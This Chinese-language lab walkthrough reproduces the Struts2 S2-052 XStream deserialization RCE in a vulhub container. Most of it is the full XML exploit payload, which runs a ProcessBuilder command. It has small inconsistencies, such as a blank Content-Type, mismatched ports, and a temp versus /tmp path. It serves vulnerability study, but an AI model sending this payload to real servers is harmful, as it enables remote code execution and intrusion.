复现S2-052远程代码执行漏洞

1.1 搭建vulhub环境

1. git clone https://github.com/vulhub/vulhub.git 下载vulhub。
2. 安装docker-compose

   1.2 复现S2-052远程代码执行漏洞

   S2-052漏洞原理：

   启用Struts  REST插件并使用XStream组件对XML进行反序列操作时，未对数据进行有效验证，可进行远程代码执行攻击。

   (1) cd vulhub/struts2/s2-052 切换目录。(2) 修改映射端口号为8082(3)docker-compose up -d 启动(4) http://192.168.200.116:8083(5)进入id为3的edit界面，burpsuite抓包。

   (6)send to repeater，修改数据包：

   将Content-Type: application/x-www-form-urlencoded改为Content-Type:

   将请求体内容_method=put&clientName=Bob&amount=33改为：

   <map>

     <entry>

       <jdk.nashorn.internal.objects.NativeString>

         <flags>0</flags>

         <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

           <dataHandler>

             <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

               <is class="javax.crypto.CipherInputStream">

                 <cipher class="javax.crypto.NullCipher">

                   <initialized>false</initialized>

                   <opmode>0</opmode>

                   <serviceIterator class="javax.imageio.spi.FilterIterator">

                     <iter class="javax.imageio.spi.FilterIterator">

                       <iter class="java.util.Collections$EmptyIterator"/>

                       <next class="java.lang.ProcessBuilder">

                         <command>

                           <string>touch</string>

                           <string>temp/hello.txt</string>

                         </command>

                         <redirectErrorStream>false</redirectErrorStream>

                       </next>

                     </iter>

                     <filter class="javax.imageio.ImageIO$ContainsFilter">

                       <method>

                         <class>java.lang.ProcessBuilder</class>

                         <name>start</name>

                         <parameter-types/>

                       </method>

                       <name>foo</name>

                     </filter>

                     <next class="string">foo</next>

                   </serviceIterator>

                   <lock/>

                 </cipher>

                 <input class="java.lang.ProcessBuilder$NullInputStream"/>

                 <ibuffer></ibuffer>

                 <done>false</done>

                 <ostart>0</ostart>

                 <ofinish>0</ofinish>

                 <closed>false</closed>

               </is>

               <consumed>false</consumed>

             </dataSource>

             <transferFlavors/>

           </dataHandler>

           <dataLen>0</dataLen>

         </value>

       </jdk.nashorn.internal.objects.NativeString>

       <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

     </entry>

     <entry>

       <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

       <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

     </entry>

   </map>

   点击go:(7) docker ps 查看靶场容器IDdocker exec -it 2096 /bin/bash进入容器。(8)ls /tmp 查看,hello.txt创建成功。